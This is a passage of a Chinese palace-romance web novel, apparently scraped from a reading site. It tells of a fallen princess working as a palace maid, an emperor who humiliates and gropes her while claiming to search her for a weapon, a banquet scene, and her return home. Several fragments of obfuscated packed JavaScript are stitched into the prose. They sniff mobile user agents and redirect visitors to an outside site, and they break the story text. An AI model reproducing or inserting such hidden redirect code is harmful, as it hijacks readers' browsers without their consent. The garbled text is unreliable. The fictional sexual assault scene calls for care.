手抖得厉害,茶具不断发出叮当声,言卿咬住牙,嘴唇早已变得苍白。 但她不在乎,言卿唯一担心的就是皇上会因为自己剧烈的心跳声而感到不悦。 “......你要在那站到何时?” 不知过去了多久,一道低沉的声音打破了屋内沉寂的空气。 “皇上恕罪!” 言卿的思绪一下子被拉了回来,她稳住端着托盘的手,快步走到了屏风之后。 心中的恐惧感瞬间被求生的欲望所取代,她只想赶紧泡好茶之后离开。 于是言卿快速的将茶具摆好,慢慢将水倒入杯中,这些工作是自己在茶楼做的最多的事情,对此,言卿十分熟练。 绕到了屏风之后,言卿与纪玄逸的距离只隔着一张茶几,好在后者的视线依旧停留在手中的奏折上,这才让言卿倒水的手不会发抖。 “名字。” 当言卿把杯子的盖子合上时,依旧没有抬眸的纪玄逸开口问道。 “回皇上,奴婢名为言卿。” 之后便又陷入了一阵寂静,言卿尴尬的站在角落不知所措,只能等待皇上的下一步命令。 好在没有过去多久,正看着手中奏折的纪玄逸突然将其扔在桌上,嘴角挂上一个淡淡的弧度。 “平沙国的小公主,为何会落到如此地步?” “!” 若自己的手中还端着托盘,那现在一定会被吓得摔落在地。 皇上为何会知道自己的身份,言卿的眼睛瞪得大大的。 就在疑问浮现的一瞬间,言卿的目光瞥向了被纪玄逸扔在一旁的奏折,一下子明了。 对于东瀛国的皇帝来说,调查一个茶楼女就只是抬抬手指的事情罢了。 但皇上究竟为何要调查自己?若是因为溪边之事,他现在完全可以直接砍下自己的脑袋。 具体是什么原因,言卿不得而知,但这可不是一个好兆头。 继续沉默是无礼的,于是言卿打算实话实说。 “平沙国已经消失了,奴婢现在也只是一介草民罢了,听闻宫内的工作工钱丰厚,便争取到了这份荣幸。” “好好回答,朕是问你为何用破布来代替绸缎。” 面对再次飞来的直白的提问,言卿陷入了疑惑,为什么皇上现在没有砍掉自己的脑袋,而是执着于问一些无关紧要的私人问题。 况且答案应该很明显才是,虽说曾是公主,但国家灭亡之后这些都没有意义了。 或许是生活困难,又或者是债台高筑,无论具体原因是什么,言卿的情况都迫在眉睫。 但这位尊贵的男人似乎执意要从言卿口中听到她艰难的处境。 “说来惭愧,奴婢家中急着用钱......” 纪玄逸这才抬眸看向言卿,脸上的笑意比方才又深了几分,这让言卿心中升起一种不妙的感觉。 “急着用钱......洗衣房的工钱远远高于你那老旧的茶楼,所以你答应了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887814|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是的。” “看上去在你失去国家的同时,也失去了身为皇族的骄傲,甘愿做个任人使唤的下人。” 接二连三的挖苦让言卿涨红了脸,一时间说不出话来,她想跳起来指着对方的鼻子,质问他凭什么侮辱自己。 但可惜的是,自己面前的不是能随意对待的人,言卿能做的只有忍耐,若她还想要自己的脑袋的话。 但那不代表言卿赞同纪玄逸的话。 于是,在进入书房之后到现在,言卿第一次鼓起勇气抬头看向了面前的男人。 只见纪玄逸高傲的靠坐在榻上,用轻蔑的眼神俯视着言卿,嘴角的弧度一直没有放下。 言卿这下确定了,他故意说着侮辱的话,期待着自己窘迫的反应,并且乐在其中。 这个国家的皇帝比自己想的还要糟糕。 言卿颤抖的手紧紧的攥着衣摆。 从国家被侵占,来到茶馆开始生活之后,为了让爷爷和昊儿过上好生活,身为皇室的自尊心已经远远被她排在了后面。 它并没有消失,只是迫于生计,不得已将它掩盖了起来。 对于男人的嘲讽她不置可否。 但,看到纪玄逸那微微上扬的嘴角,言卿只感到奇怪的心头一热。 不知哪里来的勇气,言卿只能听到自己颤抖的声音。 “回皇上,奴婢并不认为这份工作有什么不妥,奴婢并不后悔,也不因此羞愧。” “漂亮话说的很足,但那似乎无法掩盖你窘迫的行为。” “奴婢不认丢失了尊严,相反,奴婢感到骄傲。” “即使像狗一样被人呼来喝去,但你依然拥有自己的尊严吗?哈,听上去像是为了挽回面子的自我麻痹。” “才不是那样!” 着急辩解的言卿稍微提高了嗓门,出格的举动让纪玄逸微微抬眉毛。 “嗬——请皇上恕罪!” 言卿注意到了这一微妙的举动,立刻意识到自己的失态跪到了地上。 即使被愤怒冲昏了头脑,但你怎么能愚蠢到顶撞皇上? 言卿,不为了自己,也为在家中的爷爷和昊儿想想吧。 “......起来。” 头顶传来的声音突然变得低沉,听起来十分不悦。 言卿按照命令起身,用颤抖但坚定的语气说道。 “我为了我的家人而工作,若皇上对我感到不满,我会离开皇宫,回到应该待的地方。” 言卿现在只想结束这无意义的对话,立刻冲出这令人窒息的书房。 “现在已经可以不用谦称了?” “......” “朕何时说过让你离开皇宫,听上去,你好像能为了钱做任何事?” “为了家人,我什么都会做。” 坚定的声音掩盖不住言卿的颤抖。 纪玄逸轻轻的靠在椅背上,微微扬起下巴打量着言卿,就像是听到了十分荒谬的话,露出了嘲讽的笑容。 言卿不自觉的吞咽着唾沫,和街坊邻居口口相传的英勇传闻不同,这种傲慢恶劣的人居然是东瀛的皇帝。 “为了家人,什么都会做......吗?” 纪玄逸的手指有节奏的敲击着檀木桌,一字一句的重复了一遍言卿的话,嘲讽的意思不言而喻。 5. 第 5 章 没有下一句命令,言卿就这样定定的站在原地,眼里丝毫没有动摇,即使再重复一万次对话,她依旧会这么说。 “呵。” 纪玄逸就像是看到了十分有趣的东西,缓缓从榻上起身,不紧不慢的来到了言卿身后。 阳光突然被遮住,早上熟悉的龙涎香又进入了鼻腔,言卿的心脏又剧烈跳动起来。 “既然来到了东瀛,那便是朕的子民......” 听上去他似乎放弃折磨自己了,言卿松了口气,但下一秒便立刻被逼到了悬崖边。 “把裙子脱了。” “!” 言卿简直怀疑自己的耳朵,惊愕的嘴唇张开又合上,就是发不出声音。 “......那是,什么意思?” “听不懂吗?” “不......不,我只是......” 请不要冒犯皇上,太监的话不断回荡在言卿耳边,她只感到呼吸困难。 “若是奴婢哪里得罪了皇上,请饶命......” “现在又恭敬起来了?别让朕说第三遍,把裙子脱了。” 得到的是无情的回答。 空寂的房间中,从传呼吹进来的微风扫过言卿的脸颊,他看不到在自己身后的纪玄逸的表情。 言卿有四个兄长,在她小时候的时候,常年混迹于军队的二皇子会经常告诉言卿。 “男人都是差劲的。” 二哥在军队中见过许多差劲的男人。他说没有什么比常年在战场的男人更饥渴的了。 当时年幼的言卿无法理解,但此时,她完全明白了二哥的警告,现在自己面对的,不也是刚从战场回来的男人吗? 言卿吓坏了,不停的吐着不规则的呼吸,试图找到一条出路。 “看来你的觉悟还不够。” “那是什么?” “你费尽心思来到皇宫,甚至跟到溪边,难道不正是为此吗?” 言卿完全听不懂对方在说什么,因为随着背后的男人此时正不断的向自己压近,影子几乎将自己淹没。 “您,您是至高无上的天子,万民敬仰的,世上最尊贵的存在......” 言卿开口的声音微微颤抖,她察觉到身后的男人动作微微一滞。 “您是九五之尊,岂能和奴婢这种卑贱的人扯上关系。” “朕最后再说一次,若你不想做,那就趴在墙上,朕不介意帮你。” 错了,他没有一点放过自己的念头。 接二连三的打击让言卿几乎绝望,就像被刀子插进了胸口一样。 之前所有对他的感情,敬畏,恐惧,以及方才争吵时的愤怒此时已经完全消失了,言卿现在脑子里只有一个想法。 “这家伙疯了。” 这个国家的皇帝是一个彻头彻尾的疯子。 见言卿迟迟没有动作,纪玄逸缓缓走到桌前,拿起桌上温热的茶抿了一口,用低沉的视线扫了一眼言卿。 仅一眼,言卿便感觉浑身的血液都被冻结了,几乎是无意识的开口了,亦或许是将这句话当作遗言来说。 “若您需要妓女,应该去青楼,请允许我出去。” 言卿不会做错误的事情,那是自己身为公主的尊严。 她可以一天工作十个时辰不合眼,打三份工,但她绝不会为了金钱出卖自己的身体吗,即便是死。 “......” 听到言卿出格的话,纪玄逸微微一怔,随后嘴角的弧度变得更大了,言卿无法读出那笑容的意义,但她可以肯定,眼前的这个男人绝对心气不顺。 “砰——” 猜测是对的,纪玄逸推开椅子,大步向言卿走了过去,慌张的言卿立刻退后试图朝门外跑开,但下一秒立刻被人抓住了手腕。 没等言卿挣脱,眼前的世界立刻翻转了起来。 “!” 突然被摔在墙上的言卿表情看上去十分痛苦,但此时纪玄逸的脸就近在咫尺,言卿甚至来不及尖叫,事情就发生了。 纪玄逸死死的将言卿的双手按在墙上,无论后者如何挣扎都只是徒劳。 言卿感到裙下传来一阵粗鲁的动作,吓得她大声尖叫起来。 “皇上!” “别动,若你不想死的话。” 从胸口传来的声音干燥的,但似乎有些急促,可惜言卿现在除了恐惧什么也感受不到了。 自己该怎么办?要咬舌自尽吗?她错了,她从一开始就不该离开爷爷和昊儿,来到这吃人的皇宫。 “先告诉你,朕对你的身体并不那么感兴趣。” “那请您马上放开!” 即使嘴上说着不感兴趣的话,手上摸索的动作却没有停下,无论言卿怎么扭动,男人都像是石头一样一动不动。 “朕说了,不想死就不要动。” “救......救命!来人啊!” 没有人会进来,就算是言卿死在书房中,也没有人会在意。 但此时的言卿已经无计可施了,剩下的只有最原始的求生本能。 当感觉到那粗糙的触感逐渐上移到自己胸前时,言卿彻底崩溃了。 她开始胡乱的摆动着双腿,试图将身上的男人踹开,但那只是徒劳。 就在言卿快要绝望的流泪之时,只感到手腕一松,男人终于放开了自己。 失去了支撑力,虚弱的言卿一下子跪倒在地,随即立刻双手抱胸,试图遮盖凌乱不堪的衣服。 当然,她看向纪玄逸的眼神可不是那么友好......不如说是充满敌意。 “别一副要杀了朕的样子。” 纪玄逸垂眸看着地上的言卿,随后转过身去示意她整理衣裳。 ‘现在倒是装着一副正人君子的模样。’ 从出生到现在都没被人碰过一次的身体,现在却被一个素未谋面的男人欺辱,一想到方才的事情,言卿只感觉牙齿打颤。 方才被男人抓住的手腕已经变得通红,这无疑是虐待,但言卿又能向谁说呢? 他没有更进一步,或许是因为失去了兴趣,但那对于言卿是好消息。 背过去身去的男人就好像方才的事情没发生过一般,或许言卿所能做的就是整理好衣裳立刻出去,这样才能活下去。 而在言卿快速整理的时候,背对着她的纪玄逸又忽然低沉的开口了。 “这次出征之时。” “......” “朕的将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887815|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军将一个陌生女人带进了帐篷,她是西域的舞女,是一个拿钱什么都会做的女人。” “为了讨好朕,在没有得到允许的情况下,就将那女人带了进来。” 纪玄逸说着,拿起早已变得冰凉的茶晃了晃,并没有喝它的迹象。 “但其实,那女人的丈夫死在了战场,死在了东瀛将士的手下。” 还没从方才的场景缓过来,言卿的双腿依旧抖得厉害,纪玄逸上前一把抓住言卿的前臂,迫使其与自己对视。 “一定是复仇心切,才会只身来到军营,但她十分聪明,假装脱掉裙子,但却从后面拿出了匕首。” 不知为何,言卿感觉两人的距离越来越近,纪玄逸俯视着言卿,嘴角上扬。 “若是发情的家伙,当场就会丧命在其裙下。” 在几乎可以感觉到对方呼吸的距离下,言卿能清楚的看见男人眼眸深处的炙热,但她不明白那是什么意思,于是不声不响的低下了头。 “他一开始就是为了取朕的性命才来到军营,在杀害自己丈夫的凶手面前卖笑。” 纪玄逸抓住言卿的下巴,强行的迫使两人对视,但声音十分冰冷。 “朕不记得踏足过你的国家,但......要如何相信你不是刺客?” 言卿僵硬的站在原地,被迫看着纪玄逸的眼睛,心里在思索他方才讲述的事情。 所以,方才男人对自己那近乎猥亵的行为,是将自己当作了刺客,在寻找匕首之类的东西吗? “......我不是刺客,也不是为了那种事情来到皇宫。” “那你又如何解释,那日在街上对朕充满敌意的眼神?” “......”因为你和侵略我国家的人没什么两样,都是彻头彻尾的混蛋。 除非言卿疯了,不然不会说出真相。 “我不明白皇上在说什么,但我身上没有武器,您方才也已经搜查了。” 纪玄逸松开了言卿,转身坐回桌前的榻上,晃了晃手中的茶杯,有些嘲讽的开口。 “对朕充满敌意的女人,竟大摇大摆的走进了朕的花园。” “东瀛和平沙毫无恩怨,我没有理由那样做。” “身为公主,你穿着粗制的衣裳,只是为了赚点小钱?” “那不是小钱,就像我说的,那是一笔可以撑起我家庭的工钱。” 纪玄逸闭上眼睛歪了歪头,就好像对言卿的反驳不感兴趣,毕竟多少钱在他眼里都没有区别。 纪玄逸没有接话,好像在闭目养神,屋内顿时陷入了沉默。 这种气氛是令人窒息的,于是言卿率先开口了,反正已经得罪了,即使再出言不逊又如何,自己现在只想逃离这个地方,永远的。 “冒犯了皇上罪该万死,请允许奴婢出去,奴婢永远不会出现在皇上眼前。” “......” 纪玄逸用手撑着脑袋,听到言卿的话微微睁开了眼,但没有回答,只是皱着眉头盯着言卿。 “叩叩叩——” 房门突然被敲响了。 “皇上,国师已经恭候多时了。” 肖风见屋内的二人许久没有动静,不久前似乎还发生了争执,出于担忧他敲响了房门。 6. 第 6 章 “进来。” 纪玄逸开口道,但视线一直定格在言卿身上,后者被盯得有些不自在。 同一时间,肖风已经推门而入,神色看起来也有些紧张,小心翼翼的瞧了瞧屋内的气氛以及两人的表情。 此时言卿已经将衣裳都整理完毕,并且移开了视线,只要忽略纪玄逸那道笔直的目光,没什么不对。 “皇上,晚膳已经准备好了,国师已经恭候多时。” “摆驾吧。” 纪玄逸应道,随后收回视线缓缓起身。 一旁的言卿一声不吭的看着两人。 是啊,赶紧走吧,只要等面前的两个男人离开屋子,自己就能逃离这个地狱了。 方才的事情对于言卿的冲击太大了,脑袋现在都晕乎乎的。 见纪玄逸和肖风已经到了门口,言卿的心中这才松了一口气。 但看上去,仅仅过去了一刻钟,言卿就忘记了这个男人是个疯子的事情。 “你,跟着来。” “!” 屋内除了自己还有第四个人吗?显然没有,言卿瞪大了眼睛看向纪玄逸,但后者早已走出了大门。 她只能和同样一脸疑惑的肖风对视一眼。 看上去皇上对自己的羞辱还没有结束,但皇命难违,言卿只得硬着头皮跟上。 在言卿越过肖风的时候,礼貌的行了礼,肖风不动声色的从头到脚打量了一下眼前的这个女人。 老实说,他很惊讶这个女人还活着。 —— “微臣参见皇上!” 万春亭内,亭内的两人隔着老远,一见到纪玄逸的身影便立刻从亭子内迎了上来,为首的男人表情更是十分谄媚。 言卿见过这种表情,每个试图讨好上位者的大臣都会露出这种表情。 从纪玄逸和肖风的对话中可以得知,眼前的这个男人就是张国师,而旁边那位清秀又娇羞的女子,想必就是她的女儿了。 “许久未见,国师别来无恙。” 纪玄逸抬了抬手,示意二人起身,自己则缓步踏入亭子中落座,嘴角的弧度意义不明。 “皇上哪里的话,结束了数月的边境战事,大胜而归,微臣还没有好好祝贺过皇上呢,才斗胆邀请皇上来微臣寒舍中一聚,但没想到居然是在这御花园中,微臣真是受宠若惊。” 张国师熟练的说着恭维的话,天花乱坠,即使是再孤傲的君主也会心情大好吧,言卿如此想到。 于是站在一旁的言卿悄悄的瞥了一眼身边男人的表情。 嘴角依旧带着那捉摸不透的笑容,但,言卿可以清楚的感觉到,那与在书房内自己见到的微笑不同...... 现在的男人,感觉不到一丝笑意。 似乎是感受到了言卿的视线,纪玄逸微微抬眸,言卿刚准备移开视线,却看到纪玄逸抬手示意了一下桌子。 言卿顺着手势看去,男人指着的是一个空杯子。 张国师的嘴依旧在说个不停,而此时男人叫自己上前,是什么意思不言而喻,虽然很不礼貌,但言卿可没有忘记自己现在的身份。 于是她小步上前走到纪玄逸身边,尽量不引人注目的将茶叶放进杯中冲泡,接着低头退到一旁。 正在滔滔不绝恭维皇上的张国师当然注意到了这一点,事实上,他从这道尊贵的身影刚出现时就注意到了。 眼前的这位年轻皇帝,不近女色,身边常年只有贴身侍卫,甚至不需要侍女。 但,那个侍女是谁?一张完全陌生的面孔,怎么会出现在皇上身边,仔细瞧瞧,也有几分姿色,这让张国师心中升起一丝危机感。 不过很快他就释然了,这说不定是一个好消息,说明皇上终于开始对美人感兴趣了。 无论如何,一个低贱的侍女都是不可能进入后宫的,相反,自己的嫡女将会成为进入后宫的第一人,若是入了皇上的眼,说不定还能成为皇后。 “没想到皇上开始品茶了,真是意外,微臣近日恰巧得到一些上好的茶叶,若皇上不嫌弃,微臣过些日子让小女进献给皇上。” 张国师说着,对着身边的女儿使了使眼色。 “朕不喜喝茶。” “......?” 张国师一时语塞,一时间不知道该说什么接话,你不爱喝茶,那为何让侍女泡茶? 言卿也有些疑惑的抬眸,那是什么意思? 纪玄逸就好像很满意张国师的表情一般,悠闲的夹着饭菜。 和来用膳的纪玄逸不同,张国师完全无心于此,继续卖力的说着。 “对了皇上,这边境之事也已经结束,也暂时不必为国操劳了,您看这组建后宫之事......” “后宫?” 纪玄逸放下筷子,拿起茶杯小抿了一口,语气里带着几分愉悦。 “国师可有好的建议?” 这话可真是问到了点子上,张国师大喜,立刻将话题引到了自己的女儿身上。 “说来惭愧,皇上,这位是小女张思柔,自幼便是微臣的掌上明珠,亦是城中有名的才女,不是微臣自夸,但小女的确是才貌双全,在幼时随臣入过几次宫,还见过皇上呢。” 张国师有十足的把握,原因有三。 一是皇上不近女色是大臣们的共识,但谁说成婚一定需要爱情?皇后之位不可能一直空着,而论出身地位,她的女儿无疑是第一人选。 二是自己可以将自己带着女儿入宫的消息散了出去,但皇上并未生气,即使登基一年有余,但张国师依旧无法摸清这位君王的心思。 但他唯一肯定的一点就是,任何让他心情糟糕的人都会很惨。 第三,这皇上身边新来的侍女,让张国师更加肯定了自己的想法。 “不知皇上,意下如何?” 张国师笑着看向纪玄逸,他此次有八成的把握,这位君主是一个极其厌恶麻烦的人。 他的目的很明显,任何人都可以看出来,皇上肯定也不例外,所以最聪明的选择就是将事情挑明了说,这位年轻的皇上或许会感到有趣,况且...... 张国师又瞥了自己的女儿一眼。 自己的女儿有着绝对的美貌,没有男人会不心动。 话都说到这份上了,即使是在一旁努力让自己变成透明人的言卿,都忍不住偷偷抬头,想要仔细瞧瞧那女子的相貌。 坐在张国师身边的女孩完全可以用亭亭玉立来形容,安静的坐在父亲身边微笑,从头到尾没有说一句话,但举手投足都透露着优雅,让人难以忽视。 即使不施粉黛,但那张绝色的面容,只要见过一面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887816|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就难以忘却,言卿保证,这位叫张思柔的女子,比自己父皇后宫中最美的妃子还要漂亮。 连抬手掩笑的动作都那么完美,找不出一丝破绽,毫无疑问,她是在场最尊贵的女人,就像公主一样,从某种程度上来说,她和纪玄逸似乎很配。 言卿看了一会,默默收回了视线,首先映入眼帘的是自己的双手,许是因为在洗衣房工作的原因,它们比之前更加粗糙了,言卿已经忘了她们之前的样子,或许和张思柔的一样白净,或许不是...... “为了几两碎银,你抛弃了身为公主的尊严?” 纪玄逸的话不合时宜的出现在言卿的耳边。 言卿默默咬住了下唇,垂下的双手不禁握紧了几分。 才不是那样。 亭子内不知为何陷入了一片沉寂,纪玄逸并没有回答张国师的问题,只是饶有兴致的盯着面前的两人。 ‘他看上去很感兴趣,不出意外的话,这个女人会成为皇后了。’ 言卿大胆的猜测道,因为她能感觉到,男人的心情看上去很好,事实上张国师和张思柔也都是这么认为的。 只有肖风在一旁默默摇头,他们很快就会意识到,试图揣测君王的想法是一件多么愚蠢的事情。 “......张国师还真是王婆卖瓜。” 纪玄逸在众人的注视下微微俯身,语气里带着言卿十分熟悉的嘲讽的味道,就好像听到了什么笑话一样。 “什,什么,皇上,恕微臣愚笨,那是什么意思?” “你像街边的戏子一样卖力的向朕夸赞自己的女儿,为了将她送入后宫,但在朕看来,她的姿色甚至不如朕身边的侍女。” “!” 此话一出,在场的三人无不惊讶的看向纪玄逸,张国师一时间不敢相信自己的耳朵,就连一直保持优雅的张思柔,脸上都出现了一丝裂缝。 尤其是言卿,此时无比震惊,这个男人的嘴真的是...... 将千金小姐和侍女相比,这不是摆明的侮辱吗? “这,这......” 张国师的眼睛瞪得大大的,事情的发展不应该是这样才对,现在自己的女儿是被一介卑微的侍女比下去了吗,开什么玩笑! 这绝对是张国师几十年来受到过最大的侮辱。 “国师......莫不是想要欺君?” 纪玄逸眯了眯眼睛,比起方才对自己的大肆夸赞,他似乎更享受张国师涨红了脸的样子。 ‘真是恶劣。’ 言卿不禁咂舌,这个男人打从一开始就没有要善待他们的意思,只是当乐子罢了。 “皇,皇上饶命!微臣岂敢!” 即使心中有百般委屈和气愤,面对欺君的罪名,他只能慌张的跪地求饶。 一瞬间,可怕的记忆涌上心头,眼前的这位皇帝,登基时处死了许多前朝官员,他侥幸活了下来,而如今,她又回想起了当时的恐惧。 一旁的张思柔从震惊中回过神来,随即跟着自己的父亲一同跪在地上。 “别那么紧张,朕只是说个玩笑,爱卿。” 纪玄逸嘴上这么说着,但也没有开口让二人起身的意思。 张国师似乎被方才那一句吓得不轻,一直跪在地上不敢轻举妄动,甚至没有回答纪玄逸的话。 7. 第 7 章 方才还侃侃而谈的国师,现在如同鼠辈一般趴跪在地上,他对于眼前男人的恐惧,不亚于方才在书房中的自己。 言卿小心翼翼的看了一圈,眼前的这个男人,似乎比自己想象中的还要可怕。 然而,若是想要活命,说不定这种无礼的行为才是最优解,因为那会让男人很快失去兴致。 言卿和肖风在这一点上保持了一致的想法,事实也正如他们所料。 长时间的沉默让纪玄逸的嘴角慢慢垂下,似乎是终于感到了无趣,缓缓开口道。 “朕乏了,国师若是吃饱了就走吧。” 张国师面前的饭菜一口没动,但他就像是受到了什么恩赐一般连连磕头。 “谢皇上,谢皇上!微臣这就告退!” 张国师立刻磕头谢恩,随后起身拽着张思柔匆忙离开。 后者的表情看不出波动,即使自己的父亲狼狈离开,她也依旧不忘优雅的向纪玄逸行礼。 ‘或许真是当皇后的人物呢......嗯?’ 言卿正在心中默默赞叹这位叫张思柔的千金,下一秒对方却抬眸看向自己,两人一下子对上了视线。 但仅仅只是一瞬,下一秒对方便自然的移开了视线,但...... 那一瞬间的对视让言卿十分意外,两人无冤无仇,甚至只是第一次见面,那为何她看向自己的目光......充满了敌意? 为什么要这么看着自己?言卿有些疑惑的歪头,她记恨的不应该是这个出言不逊的男人吗? 不过,算了,虽然不知道为什么,反正以后应该不会再见了。 待那父女两人完全消失在视线中,言卿才收回了思绪,同时发现身边坐着的男人一直在盯着自己。 又要开始捉弄自己了吗? 言卿在心中无奈叹气,上前自然的收拾桌子。 “你也可以离开了。” 在言卿刚拿起第一个盘子的时候,一直沉默的男人突然开口了。 “......是的?” “或者你想留在这里?” “不,当然不,奴婢这就告退。” 言卿连忙谢恩,心里十分愉快但又有些惊讶,她没想到纪玄逸这么快就放过自己了,但无论如何,太好了。 就像是害怕身后的男人反悔一般,言卿飞快的逃离了亭子,前脚刚踏出御花园,言卿后脚就感觉心情豁然舒畅,连空气都变得清新了起来。 今天是在皇宫工作的第五天,按照约定,自己今晚就可以出宫回家了,一想到马上就可以见到爷爷和昊儿了,言卿又不自觉的加快了脚步,不过...... 回去之后呢? 言卿的脚步慢了下来,回想起今天遭遇的种种,她不得不重新考虑未来的事情。 洗衣房的工钱确实丰厚,但也只能解燃眉之急,自己需要为了这笔钱呆在这个吃人的地方吗,无论如何,今天的事情言卿都不想再体验第二次了。 或许真的应该去找别的工作...... “言小姐,请留步。” 言卿无精打采的走着,身后突然有人叫住了她。 “我记得你是......肖将军?” 追上来的是纪玄逸的贴身侍卫肖风,为什么要来追自己?莫不是那狗皇帝反悔了,不愿意放过自己了? 这样想到,言卿突然变得紧张了起来。 “别紧张,皇上没有让您回去。” 看出来言卿的顾虑,肖风连忙摆手,随后从怀中拿出一个干净的布袋,递给了言卿。 从肖风手中下意识接过的口袋,立马发出了叮叮当当的声音,而言卿刚好对这声音十分敏感。 是银子!言卿瞪大了眼睛,小心翼翼的颠了颠袋子,差不多有十两银子的重量。 “天哪......” 言卿对这笔数额震惊到了,这几乎是普通人家半年的收入。 “这是今日的工钱,收着吧。” “这,这太多了,而且姑姑已经给过我了。” 言卿十分惊慌的试图将布袋还回去,但肖风却摆了摆手拒绝了。 “这是皇上的吩咐,贴身侍女值得得到这笔赏赐。” 这一瞬间言卿犹豫了,若是在书房中经历了那种羞辱,出来之后没有马上逃离皇宫的想法,那是谎言。 但言卿不够果决,她无法将残酷的现实抛掷脑后。 年迈的爷爷,吃不饱饭的弟弟,需要钱维护的茶楼...... 言卿目不转睛的看着手中那可以让一切成为可能的钱袋子。 “皇上还让属下传话。” “......” “请好好工作,在皇宫中。” —— 茶馆难得迎来一个充满生机的日子。 这一切都归功于言卿带回来的银子,桌上的饭菜也难得一见的十分荤气,久违的大饱口福,以及难得的家人团聚,齐老爷子一家都难掩笑容。 不过,在那笑意的背后,只有言卿需要独自一人抚平不适的心情,一想到自己要在皇宫工作,就头痛不已。 即使不是在身边侍奉,但言卿就是感到别扭。 “皇宫辛苦吗?” 在言卿忙着收拾茶具的时候,身后突然传来一个声音,一转身,发现两人一脸担忧的看着自己。 “一点都不,相反,那是很轻松而且工钱很高的工作,大家都很和善。” 言卿摇了摇头,笑着回答道。 “姐姐,姐姐。” 昊儿跑过来拽了拽言卿的手,满脸好奇的问道。 “你见到皇帝陛下了吗,他和传闻中一样英勇吗?” “......” 听到那个称谓,言卿的身体下意识僵了一下,随后自然然的蹲下摸了摸昊儿的头,温柔的说道。 “没有哦,姐姐我工作的地方遇不见皇上。” 不能露出一丝破绽,唯独这件事情,言卿不能让家人知道。 “在私塾开心吗?” “......” 言卿试图自然的将话题扯开,为了不让好奇的昊儿继续追问皇宫的事,但面对自己随口的问题,昊儿的表情却变得有些僵硬。 “嗯,挺好的......” “昊儿,发生什么事情了吗?” 言卿捧住昊儿闷闷不乐的小脸,一脸担忧的问道。 “只是因为第一天,还不太习惯。” 昊儿垂下眼眸,小声的说道,言卿抬手轻轻的抚摸着昊儿的头,她知道昊儿在担忧什么。 齐爷爷一家虽然现在贫穷,但十几年前却是实打实是当地有名的商贾,昊儿逃走的父亲也曾在官家有过一官半职。 即使现在落魄了,但凭借这层关系,只要付得起高额的学费,昊儿也能进入贵族的私塾,但言卿十分清楚,那些真正的达官贵族丑恶的嘴脸。 “听着,昊儿,若是在私塾里有人欺负你,绝对不要忍着。” “......嗯。” “虽然很不希望,但若是真有人欺负你,一定要马上告诉姐姐,知道了吗?” “知道了。” 虽然语气有些勉强,不过昊儿没有回避自己的视线,即使还是很担心,但言卿没有多说什么。 “砰砰砰——” 门外传来一阵规律的敲门声,但茶楼已经关门了,是谁来了?莫不是讨债的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887817|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 就在言卿犹豫猜测来人身份的时候,齐老爷子却一拍脑袋。 “嗨,瞧我这记性,昊儿,快去开门。” “这么晚了,是客人吗?” 言卿上前接过爷爷手中的水壶,去泡了一杯新的茶水放在桌上。 “前些日子你不是在门口贴了一张告示吗?昨日有个小伙子过来询问工作,我让他今晚来,刚好让你见见。” 经过齐老爷子这么一说,言卿也想起来,自己确实在找茶馆的帮手来着。 “打扰了,我是看到门口的告示来应募的。” 在两人还在交谈的时候,从门口走进来一位年轻男子。 言卿急忙从椅子上起身靠近那男子。 “您好,我是言卿。” “在下柳辰良。” 两人简单的打了招呼,齐老爷子则在言卿耳边小声的说道。 “这小伙子我那天已经见过了,人还不错。” 言卿点了点头,将视线移到那名叫柳辰良的男子身上。 男人身着朴素,说话的时候一直保持着爽朗的笑容,给人的第一印象倒是十分不错。 尤其是在他和言卿对视之后,柳辰良更是猛地打起精神,下意识的摸了摸后颈。 ‘看上去会是个靠谱的帮手。’ 言卿默默点头,自己明日后天又要离开了,昊儿也要去私塾,肯定是越早找到帮手越好。 “来吧,我带你熟悉一下这里。” 言卿转身,示意男子跟上。 “因为我这段时间有别的工作,这里只有我爷爷一人,所工作或许会很辛苦。” “小姐说笑了,别看我身材并不壮实,但可是很能吃苦的,若您雇了我,您一定会感到轻松和放心。” “真的吗?” 